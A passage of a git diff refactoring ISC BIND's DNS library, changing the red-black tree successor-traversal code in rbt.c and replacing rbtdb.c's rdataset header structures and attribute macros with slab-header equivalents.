-		 * ascent, or search for a left link upward again, repeating
+		 * The successor is up, either in this level or a
+		 * previous one. Head back toward the root of the tree,
+		 * looking for any path that was via a left link; the
+		 * successor is the node that has that left link.  In
+		 * the event the root of the level is reached without
+		 * having traversed any left links, ascend one level and
+		 * look for either a right link off the point of ascent,
+		 * or search for a left link upward again, repeating
 		 * ascends until either case is true.
 		 */
 		do {
-			while (!IS_ROOT(current)) {
+			while (!current->is_root) {
 				previous = current;
-				current = PARENT(current);
+				current = current->parent;
 
-				if (LEFT(current) == previous) {
+				if (current->left == previous) {
 					successor = current;
 					break;
 				}
@@ -3594,41 +2893,45 @@ dns_rbtnodechain_next(dns_rbtnodechain_t *chain, dns_name_t *name,
 
 			if (successor == NULL) {
 				/*
-				 * Reached the root without having traversed
-				 * any left pointers, so this level is done.
+				 * Reached the root without having
+				 * traversed any left pointers, so this
+				 * level is done.
 				 */
 				if (chain->level_count == 0) {
 					/*
-					 * If the tree we are iterating over
-					 * was modified since this chain was
-					 * initialized in a way that caused
-					 * node splits to occur, "current" may
-					 * now be pointing to a root node which
-					 * appears to be at level 0, but still
-					 * has a parent.  If that happens,
-					 * abort.  Otherwise, we are done
-					 * looking for a successor as we really
-					 * reached the root node on level 0.
+					 * If the tree we are iterating
+					 * over was modified since this
+					 * chain was initialized in a
+					 * way that caused node splits
+					 * to occur, "current" may now
+					 * be pointing to a root node
+					 * which appears to be at level
+					 * 0, but still has a parent. If
+					 * that happens, abort.
+					 * Otherwise, we are done
+					 * looking for a successor as we
+					 * really reached the root node
+					 * on level 0.
 					 */
-					INSIST(PARENT(current) == NULL);
+					INSIST(current->parent == NULL);
 					break;
 				}
 
 				current = chain->levels[--chain->level_count];
 				new_origin = true;
 
-				if (RIGHT(current) != NULL) {
+				if (current->right != NULL) {
 					break;
 				}
 			}
 		} while (successor == NULL);
 	}
 
-	if (successor == NULL && RIGHT(current) != NULL) {
-		current = RIGHT(current);
+	if (successor == NULL && current->right != NULL) {
+		current = current->right;
 
-		while (LEFT(current) != NULL) {
-			current = LEFT(current);
+		while (current->left != NULL) {
+			current = current->left;
 		}
 
 		successor = current;
@@ -3636,24 +2939,25 @@ dns_rbtnodechain_next(dns_rbtnodechain_t *chain, dns_name_t *name,
 
 	if (successor != NULL) {
 		/*
-		 * If we determine that the current node is the successor to
-		 * itself, we will run into an infinite loop, so abort instead.
+		 * If we determine that the current node is the
+		 * successor to itself, we will run into an infinite
+		 * loop, so abort instead.
 		 */
 		INSIST(chain->end != successor);
 
 		chain->end = successor;
 
 		/*
-		 * It is not necessary to use dns_rbtnodechain_current like
-		 * the other functions because this function will never
-		 * find a node in the topmost level.  This is because the
-		 * root level will never be more than one name, and everything
-		 * in the megatree is a successor to that node, down at
-		 * the second level or below.
+		 * It is not necessary to use dns_rbtnodechain_current
+		 * like the other functions because this function will
+		 * never find a node in the topmost level.  This is
+		 * because the root level will never be more than one
+		 * name, and everything in the megatree is a successor
+		 * to that node, down at the second level or below.
 		 */
 
 		if (name != NULL) {
-			NODENAME(chain->end, name);
+			node_name(chain->end, name);
 		}
 
 		if (new_origin) {
diff --git a/lib/dns/rbtdb.c b/lib/dns/rbtdb.c
index 7e8552ed06..78464170b0 100644
--- a/lib/dns/rbtdb.c
+++ b/lib/dns/rbtdb.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,41 +13,38 @@
 
 /*! \file */
 
-/* #define inline */
-
 #include <inttypes.h>
 #include <stdbool.h>
 #include <sys/mman.h>
 
+#include <isc/ascii.h>
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/crc64.h>
-#include <isc/event.h>
 #include <isc/file.h>
 #include <isc/hash.h>
+#include <isc/hashmap.h>
 #include <isc/heap.h>
 #include <isc/hex.h>
+#include <isc/loop.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/serial.h>
-#include <isc/socket.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/time.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
 #include <dns/db.h>
 #include <dns/dbiterator.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
-#include <dns/lib.h>
 #include <dns/log.h>
 #include <dns/masterdump.h>
 #include <dns/nsec.h>
@@ -56,16 +55,13 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdataslab.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 #include <dns/stats.h>
 #include <dns/time.h>
 #include <dns/view.h>
 #include <dns/zone.h>
 #include <dns/zonekey.h>
 
-#include "rbtdb.h"
-
-#define RBTDB_MAGIC ISC_MAGIC('R', 'B', 'D', '4')
+#include "rbtdb_p.h"
 
 #define CHECK(op)                            \
 	do {                                 \
@@ -74,282 +70,64 @@
 			goto failure;        \
 	} while (0)
 
-/*
- * This is the map file header for RBTDB images.  It is populated, and then
- * written, as the LAST thing done to the file.  Writing this last (with
- * zeros in the header area initially) will ensure that the header is only
- * valid when the RBTDB image is also valid.
- */
-typedef struct rbtdb_file_header rbtdb_file_header_t;
-
-/* Header length, always the same size regardless of structure size */
-#define RBTDB_HEADER_LENGTH 1024
-
-struct rbtdb_file_header {
-	char version1[32];
-	uint32_t ptrsize;
-	unsigned int bigendian : 1;
-	uint64_t tree;
-	uint64_t nsec;
-	uint64_t nsec3;
-
-	char version2[32]; /* repeated; must match version1 */
-};
-
-/*%
- * Note that "impmagic" is not the first four bytes of the struct, so
- * ISC_MAGIC_VALID cannot be used.
- */
-#define VALID_RBTDB(rbtdb) \
-	((rbtdb) != NULL && (rbtdb)->common.impmagic == RBTDB_MAGIC)
-
-typedef uint32_t rbtdb_serial_t;
-typedef uint32_t rbtdb_rdatatype_t;
-
-#define RBTDB_RDATATYPE_BASE(type) ((dns_rdatatype_t)((type)&0xFFFF))
-#define RBTDB_RDATATYPE_EXT(type)  ((dns_rdatatype_t)((type) >> 16))
-#define RBTDB_RDATATYPE_VALUE(base, ext)              \
-	((rbtdb_rdatatype_t)(((uint32_t)ext) << 16) | \
-	 (((uint32_t)base) & 0xffff))
-
-#define RBTDB_RDATATYPE_SIGNSEC \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_nsec)
-#define RBTDB_RDATATYPE_SIGNSEC3 \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_nsec3)
-#define RBTDB_RDATATYPE_SIGNS \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_ns)
-#define RBTDB_RDATATYPE_SIGCNAME \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_cname)
-#define RBTDB_RDATATYPE_SIGDNAME \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_dname)
-#define RBTDB_RDATATYPE_SIGDS \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_ds)
-#define RBTDB_RDATATYPE_SIGSOA \
-	RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, dns_rdatatype_soa)
-#define RBTDB_RDATATYPE_NCACHEANY RBTDB_RDATATYPE_VALUE(0, dns_rdatatype_any)
-
-#define RBTDB_INITLOCK(l)    isc_rwlock_init((l), 0, 0)
-#define RBTDB_DESTROYLOCK(l) isc_rwlock_destroy(l)
-#define RBTDB_LOCK(l, t)     RWLOCK((l), (t))
-#define RBTDB_UNLOCK(l, t)   RWUNLOCK((l), (t))
-
-/*
- * Since node locking is sensitive to both performance and memory footprint,
- * we need some trick here.  If we have both high-performance rwlock and
- * high performance and small-memory reference counters, we use rwlock for
- * node lock and isc_refcount for node references.  In this case, we don't have
- * to protect the access to the counters by locks.
- * Otherwise, we simply use ordinary mutex lock for node locking, and use
- * simple integers as reference counters which is protected by the lock.
- * In most cases, we can simply use wrapper macros such as NODE_LOCK and
- * NODE_UNLOCK.  In some other cases, however, we need to protect reference
- * counters first and then protect other parts of a node as read-only data.
- * Special additional macros, NODE_STRONGLOCK(), NODE_WEAKLOCK(), etc, are also
- * provided for these special cases.  When we can use the efficient backend
- * routines, we should only protect the "other members" by NODE_WEAKLOCK(read).
- * Otherwise, we should use NODE_STRONGLOCK() to protect the entire critical
- * section including the access to the reference counter.
- * Note that we cannot use NODE_LOCK()/NODE_UNLOCK() wherever the protected
- * section is also protected by NODE_STRONGLOCK().
- */
-typedef isc_rwlock_t nodelock_t;
-
-#define NODE_INITLOCK(l)    isc_rwlock_init((l), 0, 0)
-#define NODE_DESTROYLOCK(l) isc_rwlock_destroy(l)
-#define NODE_LOCK(l, t)	    RWLOCK((l), (t))
-#define NODE_UNLOCK(l, t)   RWUNLOCK((l), (t))
-#define NODE_TRYUPGRADE(l)  isc_rwlock_tryupgrade(l)
-#define NODE_DOWNGRADE(l)   isc_rwlock_downgrade(l)
-
-/*%
- * Whether to rate-limit updating the LRU to avoid possible thread contention.
- * Updating LRU requires write locking, so we don't do it every time the
- * record is touched - only after some time passes.
- */
-#ifndef DNS_RBTDB_LIMITLRUUPDATE
-#define DNS_RBTDB_LIMITLRUUPDATE 1
-#endif
-
-/*% Time after which we update LRU for glue records, 5 minutes */
-#define DNS_RBTDB_LRUUPDATE_GLUE 300
-/*% Time after which we update LRU for all other records, 10 minutes */
-#define DNS_RBTDB_LRUUPDATE_REGULAR 600
-
-/*
- * Allow clients with a virtual time of up to 5 minutes in the past to see
- * records that would have otherwise have expired.
- */
-#define RBTDB_VIRTUAL 300
-
-struct noqname {
-	dns_name_t name;
-	void *neg;
-	void *negsig;
-	dns_rdatatype_t type;
-};
-
-typedef struct rdatasetheader {
-	/*%
-	 * Locked by the owning node's lock.
-	 */
-	rbtdb_serial_t serial;
-	dns_ttl_t rdh_ttl;
-	rbtdb_rdatatype_t type;
-	atomic_uint_least16_t attributes;
-	dns_trust_t trust;
-	atomic_uint_fast32_t last_refresh_fail_ts;
-	struct noqname *noqname;
-	struct noqname *closest;
-	unsigned int is_mmapped	      : 1;
-	unsigned int next_is_relative : 1;
-	unsigned int node_is_relative : 1;
-	unsigned int resign_lsb	      : 1;
-	/*%<
-	 * We don't use the LIST macros, because the LIST structure has
-	 * both head and tail pointers, and is doubly linked.
-	 */
-
-	struct rdatasetheader *next;
-	/*%<
-	 * If this is the top header for an rdataset, 'next' points
-	 * to the top header for the next rdataset (i.e., the next type).
-	 * Otherwise, it points up to the header whose down pointer points
-	 * at this header.
-	 */
-
-	struct rdatasetheader *down;
-	/*%<
-	 * Points to the header for the next older version of
-	 * this rdataset.
-	 */
-
-	atomic_uint_fast32_t count;
-	/*%<
-	 * Monotonously increased every time this rdataset is bound so that
-	 * it is used as the base of the starting point in DNS responses
-	 * when the "cyclic" rrset-order is required.
-	 */
-
-	dns_rbtnode_t *node;
-	isc_stdtime_t last_used;
-	ISC_LINK(struct rdatasetheader) link;
-
-	unsigned int heap_index;
-	/*%<
-	 * Used for TTL-based cache cleaning.
-	 */
-	isc_stdtime_t resign;
-	/*%<
-	 * Case vector.  If the bit is set then the corresponding
-	 * character in the owner name needs to be AND'd with 0x20,
-	 * rendering that character upper case.
-	 */
-	unsigned char upper[32];
-} rdatasetheader_t;
-
-typedef ISC_LIST(rdatasetheader_t) rdatasetheaderlist_t;
-typedef ISC_LIST(dns_rbtnode_t) rbtnodelist_t;
-
-#define RDATASET_ATTR_NONEXISTENT 0x0001
-/*%< May be potentially served as stale data. */
-#define RDATASET_ATTR_STALE	     0x0002
-#define RDATASET_ATTR_IGNORE	     0x0004
-#define RDATASET_ATTR_RETAIN	     0x0008
-#define RDATASET_ATTR_NXDOMAIN	     0x0010
-#define RDATASET_ATTR_RESIGN	     0x0020
-#define RDATASET_ATTR_STATCOUNT	     0x0040
-#define RDATASET_ATTR_OPTOUT	     0x0080
-#define RDATASET_ATTR_NEGATIVE	     0x0100
-#define RDATASET_ATTR_PREFETCH	     0x0200
-#define RDATASET_ATTR_CASESET	     0x0400
-#define RDATASET_ATTR_ZEROTTL	     0x0800
-#define RDATASET_ATTR_CASEFULLYLOWER 0x1000
-/*%< Ancient - awaiting cleanup. */
-#define RDATASET_ATTR_ANCIENT	   0x2000
-#define RDATASET_ATTR_STALE_WINDOW 0x4000
-
-/*
- * XXX
- * When the cache will pre-expire data (due to memory low or other
- * situations) before the rdataset's TTL has expired, it MUST
- * respect the RETAIN bit and not expire the data until its TTL is
- * expired.
- */
-
 #define EXISTS(header)                                 \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_NONEXISTENT) == 0)
+	  DNS_SLABHEADERATTR_NONEXISTENT) == 0)
 #define NONEXISTENT(header)                            \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_NONEXISTENT) != 0)
+	  DNS_SLABHEADERATTR_NONEXISTENT) != 0)
 #define IGNORE(header)                                 \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_IGNORE) != 0)
-#define RETAIN(header)                                 \
-	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_RETAIN) != 0)
+	  DNS_SLABHEADERATTR_IGNORE) != 0)
 #define NXDOMAIN(header)                               \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_NXDOMAIN) != 0)
-#define STALE(header)                                                          \
-	((atomic_load_acquire(&(header)->attributes) & RDATASET_ATTR_STALE) != \
-	 0)
+	  DNS_SLABHEADERATTR_NXDOMAIN) != 0)
+#define STALE(header)                                  \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_STALE) != 0)
 #define STALE_WINDOW(header)                           \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_STALE_WINDOW) != 0)
+	  DNS_SLABHEADERATTR_STALE_WINDOW) != 0)
 #define RESIGN(header)                                 \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_RESIGN) != 0)
+	  DNS_SLABHEADERATTR_RESIGN) != 0)
 #define OPTOUT(header)                                 \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_OPTOUT) != 0)
+	  DNS_SLABHEADERATTR_OPTOUT) != 0)
 #define NEGATIVE(header)                               \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_NEGATIVE) != 0)
+	  DNS_SLABHEADERATTR_NEGATIVE) != 0)
 #define PREFETCH(header)                               \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_PREFETCH) != 0)
+	  DNS_SLABHEADERATTR_PREFETCH) != 0)
 #define CASESET(header)                                \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_CASESET) != 0)
+	  DNS_SLABHEADERATTR_CASESET) != 0)
 #define ZEROTTL(header)                                \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_ZEROTTL) != 0)
-#define CASEFULLYLOWER(header)                         \
-	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_CASEFULLYLOWER) != 0)
+	  DNS_SLABHEADERATTR_ZEROTTL) != 0)
 #define ANCIENT(header)                                \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_ANCIENT) != 0)
+	  DNS_SLABHEADERATTR_ANCIENT) != 0)
 #define STATCOUNT(header)                              \
 	((atomic_load_acquire(&(header)->attributes) & \
-	  RDATASET_ATTR_STATCOUNT) != 0)
-
-#define RDATASET_ATTR_GET(header, attribute) \
-	(atomic_load_acquire(&(header)->attributes) & attribute)
-#define RDATASET_ATTR_SET(header, attribute) \
-	atomic_fetch_or_release(&(header)->attributes, attribute)
-#define RDATASET_ATTR_CLR(header, attribute) \
-	atomic_fetch_and_release(&(header)->attributes, ~(attribute))
-
-#define ACTIVE(header, now)             \
-	(((header)->rdh_ttl > (now)) || \
-	 ((header)->rdh_ttl == (now) && ZEROTTL(header)))
-
-#define DEFAULT_NODE_LOCK_COUNT	    53 /*%< Should be prime. */
-#define RBTDB_GLUE_TABLE_INIT_BITS  2U
-#define RBTDB_GLUE_TABLE_MAX_BITS   32U
-#define RBTDB_GLUE_TABLE_OVERCOMMIT 3
-
-#define GOLDEN_RATIO_32 0x61C88647
-#define HASHSIZE(bits)	(UINT64_C(1) << (bits))
-
-static inline uint32_t
-hash_32(uint32_t val, unsigned int bits) {
-	REQUIRE(bits <= RBTDB_GLUE_TABLE_MAX_BITS);
-	/* High bits are more random. */
-	return (val * GOLDEN_RATIO_32 >> (32 - bits));
-}
+	  DNS_SLABHEADERATTR_STATCOUNT) != 0)
+
+#define STALE_TTL(header, rbtdb) \
+	(NXDOMAIN(header) ? 0 : rbtdb->common.serve_stale_ttl)
+
+#define ACTIVE(header, now) \
+	(((header)->ttl > (now)) || ((header)->ttl == (now) && ZEROTTL(header)))
+
+#define DEFAULT_NODE_LOCK_COUNT 7 /*%< Should be prime. */
+
+#define EXPIREDOK(rbtiterator) \
+	(((rbtiterator)->common.options & DNS_DB_EXPIREDOK) != 0)
+
+#define STALEOK(rbtiterator) \
+	(((rbtiterator)->common.options & DNS_DB_STALEOK) != 0)
+
+#define KEEPSTALE(rbtdb) ((rbtdb)->common.serve_stale_ttl > 0)
 
 /*%
  * Number of buckets for cache DB entries (locks, LRU lists, TTL heaps).
@@ -359,7 +137,7 @@ hash_32(uint32_t val, unsigned int bits) {
  * The default value should work well for most environments, but this can
  * also be configurable at compilation time via the
  * DNS_RBTDB_CACHE_NODE_LOCK_COUNT variable.  This value must be larger than
- * 1 due to the assumption of overmem_purge().
+ * 1 due to the assumption of dns__cachedb_overmem().
  */
 #ifdef DNS_RBTDB_CACHE_NODE_LOCK_COUNT
 #if DNS_RBTDB_CACHE_NODE_LOCK_COUNT <= 1
@@ -368,296 +146,25 @@ hash_32(uint32_t val, unsigned int bits) {
 #define DEFAULT_CACHE_NODE_LOCK_COUNT DNS_RBTDB_CACHE_NODE_LOCK_COUNT
 #endif /* if DNS_RBTDB_CACHE_NODE_LOCK_COUNT <= 1 */
 #else  /* ifdef DNS_RBTDB_CACHE_NODE_LOCK_COUNT */
-#define DEFAULT_CACHE_NODE_LOCK_COUNT 97
+#define DEFAULT_CACHE_NODE_LOCK_COUNT 17
 #endif /* DNS_RBTDB_CACHE_NODE_LOCK_COUNT */
 
-typedef struct {
-	nodelock_t lock;
-	/* Protected in the refcount routines. */
-	isc_refcount_t references;
-	/* Locked by lock. */
-	bool exiting;
-} rbtdb_nodelock_t;
-
-typedef struct rbtdb_changed {
-	dns_rbtnode_t *node;
-	bool dirty;
-	ISC_LINK(struct rbtdb_changed) link;
-} rbtdb_changed_t;
-
-typedef ISC_LIST(rbtdb_changed_t) rbtdb_changedlist_t;
-
-typedef enum { dns_db_insecure, dns_db_partial, dns_db_secure } dns_db_secure_t;
-
-typedef struct dns_rbtdb dns_rbtdb_t;
-
-/* Reason for expiring a record from cache */
-typedef enum { expire_lru, expire_ttl, expire_flush } expire_t;
-
-typedef struct rbtdb_glue rbtdb_glue_t;
-
-typedef struct rbtdb_glue_table_node {
-	struct rbtdb_glue_table_node *next;
-	dns_rbtnode_t *node;
-	rbtdb_glue_t *glue_list;
-} rbtdb_glue_table_node_t;
-
-typedef enum {
-	rdataset_ttl_fresh,
-	rdataset_ttl_stale,
-	rdataset_ttl_ancient
-} rdataset_ttl_t;
-
-typedef struct rbtdb_version {
-	/* Not locked */
-	rbtdb_serial_t serial;
-	dns_rbtdb_t *rbtdb;
-	/*
-	 * Protected in the refcount routines.
-	 * XXXJT: should we change the lock policy based on the refcount
-	 * performance?
-	 */
-	isc_refcount_t references;
-	/* Locked by database lock. */
-	bool writer;
-	bool commit_ok;
-	rbtdb_changedlist_t changed_list;
-	rdatasetheaderlist_t resigned_list;
-	ISC_LINK(struct rbtdb_version) link;
-	dns_db_secure_t secure;
-	bool havensec3;
-	/* NSEC3 parameters */
-	dns_hash_t hash;
-	uint8_t flags;
-	uint16_t iterations;
-	uint8_t salt_length;
-	unsigned char salt[DNS_NSEC3_SALTSIZE];
-
-	/*
-	 * records and xfrsize are covered by rwlock.
-	 */
-	isc_rwlock_t rwlock;
-	uint64_t records;
-	uint64_t xfrsize;
-
-	isc_rwlock_t glue_rwlock;
-	size_t glue_table_bits;
-	size_t glue_table_nodecount;
-	rbtdb_glue_table_node_t **glue_table;
-} rbtdb_version_t;
-
-typedef ISC_LIST(rbtdb_version_t) rbtdb_versionlist_t;
-
-struct dns_rbtdb {
-	/* Unlocked. */
-	dns_db_t common;
-	/* Locks the data in this struct */
-	isc_rwlock_t lock;
-	/* Locks the tree structure (prevents nodes appearing/disappearing) */
-	isc_rwlock_t tree_lock;
-	/* Locks for individual tree nodes */
-	unsigned int node_lock_count;
-	rbtdb_nodelock_t *node_locks;
-	dns_rbtnode_t *origin_node;
-	dns_rbtnode_t *nsec3_origin_node;
-	dns_stats_t *rrsetstats;     /* cache DB only */
-	isc_stats_t *cachestats;     /* cache DB only */
-	isc_stats_t *gluecachestats; /* zone DB only */
-	/* Locked by lock. */
-	unsigned int active;
-	isc_refcount_t references;
-	unsigned int attributes;
-	rbtdb_serial_t current_serial;
-	rbtdb_serial_t least_serial;
-	rbtdb_serial_t next_serial;
-	rbtdb_version_t *current_version;
-	rbtdb_version_t *future_version;
-	rbtdb_versionlist_t open_versions;
-	isc_task_t *task;
-	dns_dbnode_t *soanode;
-	dns_dbnode_t *nsnode;
-
-	/*
-	 * Maximum length of time to keep using a stale answer past its
-	 * normal TTL expiry.
-	 */
-	dns_ttl_t serve_stale_ttl;
-
-	/*
-	 * The time after a failed lookup, where stale answers from cache
-	 * may be used directly in a DNS response without attempting a
-	 * new iterative lookup.
-	 */
-	uint32_t serve_stale_refresh;
-
-	/*
-	 * This is a linked list used to implement the LRU cache.  There will
-	 * be node_lock_count linked lists here.  Nodes in bucket 1 will be
-	 * placed on the linked list rdatasets[1].
-	 */
-	rdatasetheaderlist_t *rdatasets;
-
-	/*%
-	 * Temporary storage for stale cache nodes and dynamically deleted
-	 * nodes that await being cleaned up.
-	 */
-	rbtnodelist_t *deadnodes;
-
-	/*
-	 * Heaps.  These are used for TTL based expiry in a cache,
-	 * or for zone resigning in a zone DB.  hmctx is the memory
-	 * context to use for the heap (which differs from the main
-	 * database memory context in the case of a cache).
-	 */
-	isc_mem_t *hmctx;
-	isc_heap_t **heaps;
-
-	/*
-	 * Base values for the mmap() code.
-	 */
-	void *mmap_location;
-	size_t mmap_size;
-
-	/* Locked by tree_lock. */
-	dns_rbt_t *tree;
-	dns_rbt_t *nsec;
-	dns_rbt_t *nsec3;
-
-	/* Unlocked */
-	unsigned int quantum;
-};
-
-#define RBTDB_ATTR_LOADED  0x01
-#define RBTDB_ATTR_LOADING 0x02
-
-#define KEEPSTALE(rbtdb) ((rbtdb)->serve_stale_ttl > 0)
-
-/*%
- * Search Context
- */
-typedef struct {
-	dns_rbtdb_t *rbtdb;
-	rbtdb_version_t *rbtversion;
-	rbtdb_serial_t serial;
-	unsigned int options;
-	dns_rbtnodechain_t chain;
-	bool copy_name;
-	bool need_cleanup;
-	bool wild;
-	dns_rbtnode_t *zonecut;
-	rdatasetheader_t *zonecut_rdataset;
-	rdatasetheader_t *zonecut_sigrdataset;
-	dns_fixedname_t zonecut_name;
-	isc_stdtime_t now;
-} rbtdb_search_t;
-
-/*%
- * Load Context
- */
-typedef struct {
-	dns_rbtdb_t *rbtdb;
-	isc_stdtime_t now;
-} rbtdb_load_t;
-
 static void
 delete_callback(void *data, void *arg);
 static void
-rdataset_disassociate(dns_rdataset_t *rdataset);
-static isc_result_t
-rdataset_first(dns_rdataset_t *rdataset);
-static isc_result_t
-rdataset_next(dns_rdataset_t *rdataset);
-static void
-rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
-static void
-rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target);
-static unsigned int
-rdataset_count(dns_rdataset_t *rdataset);
-static isc_result_t
-rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
-		    dns_rdataset_t *neg, dns_rdataset_t *negsig);
-static isc_result_t
-rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-		    dns_rdataset_t *neg, dns_rdataset_t *negsig);
-static inline bool
-need_headerupdate(rdatasetheader_t *header, isc_stdtime_t now);
-static void
-update_header(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, isc_stdtime_t now);
-static void
-expire_header(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, bool tree_locked,
-	      expire_t reason);
-static void
-overmem_purge(dns_rbtdb_t *rbtdb, unsigned int locknum_start, isc_stdtime_t now,
-	      bool tree_locked);
-static isc_result_t
-resign_insert(dns_rbtdb_t *rbtdb, int idx, rdatasetheader_t *newheader);
-static void
-resign_delete(dns_rbtdb_t *rbtdb, rbtdb_version_t *version,
-	      rdatasetheader_t *header);
+prune_tree(void *arg);
 static void
-prune_tree(isc_task_t *task, isc_event_t *event);
-static void
-rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust);
-static void
-rdataset_expire(dns_rdataset_t *rdataset);
-static void
-rdataset_clearprefetch(dns_rdataset_t *rdataset);
-static void
-rdataset_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name);
-static void
-rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name);
-static isc_result_t
-rdataset_addglue(dns_rdataset_t *rdataset, dns_dbversion_t *version,
-		 dns_message_t *msg);
-static void
-free_gluetable(rbtdb_version_t *version);
-static isc_result_t
-nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name);
-
-static dns_rdatasetmethods_t rdataset_methods = { rdataset_disassociate,
-						  rdataset_first,
-						  rdataset_next,
-						  rdataset_current,
-						  rdataset_clone,
-						  rdataset_count,
-						  NULL, /* addnoqname */
-						  rdataset_getnoqname,
-						  NULL, /* addclosest */
-						  rdataset_getclosest,
-						  rdataset_settrust,
-						  rdataset_expire,
-						  rdataset_clearprefetch,
-						  rdataset_setownercase,
-						  rdataset_getownercase,
-						  rdataset_addglue };
-
-static dns_rdatasetmethods_t slab_methods = {
-	rdataset_disassociate,
-	rdataset_first,
-	rdataset_next,
-	rdataset_current,
-	rdataset_clone,
-	rdataset_count,
-	NULL, /* addnoqname */
-	NULL, /* getnoqname */
-	NULL, /* addclosest */
-	NULL, /* getclosest */
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	NULL, /* setownercase */
-	NULL, /* getownercase */
-	NULL  /* addglue */
-};
+free_gluetable(dns_rbtdb_version_t *version);
 
 static void
-rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp);
+rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
 static isc_result_t
-rdatasetiter_first(dns_rdatasetiter_t *iterator);
+rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
 static isc_result_t
-rdatasetiter_next(dns_rdatasetiter_t *iterator);
+rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
 static void
-rdatasetiter_current(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset);
+rdatasetiter_current(dns_rdatasetiter_t *iterator,
+		     dns_rdataset_t *rdataset DNS__DB_FLARG);
 
 static dns_rdatasetitermethods_t rdatasetiter_methods = {
 	rdatasetiter_destroy, rdatasetiter_first, rdatasetiter_next,
@@ -666,7 +173,7 @@ static dns_rdatasetitermethods_t rdatasetiter_methods = {
 
 typedef struct rbtdb_rdatasetiter {
 	dns_rdatasetiter_t common;
-	rdatasetheader_t *current;
+	dns_slabheader_t *current;
 } rbtdb_rdatasetiter_t;
 
 /*
@@ -679,20 +186,21 @@ typedef struct rbtdb_rdatasetiter {
  * being traversed at given time.
  */
 static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp);
+dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG);
 static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator);
+dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator);
+dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name);
+dbiterator_seek(dns_dbiterator_t *iterator,
+		const dns_name_t *name DNS__DB_FLARG);
 static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator);
+dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator);
+dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
 dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name);
+		   dns_name_t *name DNS__DB_FLARG);
 static isc_result_t
 dbiterator_pause(dns_dbiterator_t *iterator);
 static isc_result_t
@@ -704,8 +212,6 @@ static dns_dbiteratormethods_t dbiterator_methods = {
 	dbiterator_current, dbiterator_pause, dbiterator_origin
 };
 
-#define DELETION_BATCH_MAX 64
-
 /*
  * If 'paused' is true, then the tree lock is not being held.
  */
@@ -721,42 +227,21 @@ typedef struct rbtdb_dbiterator {
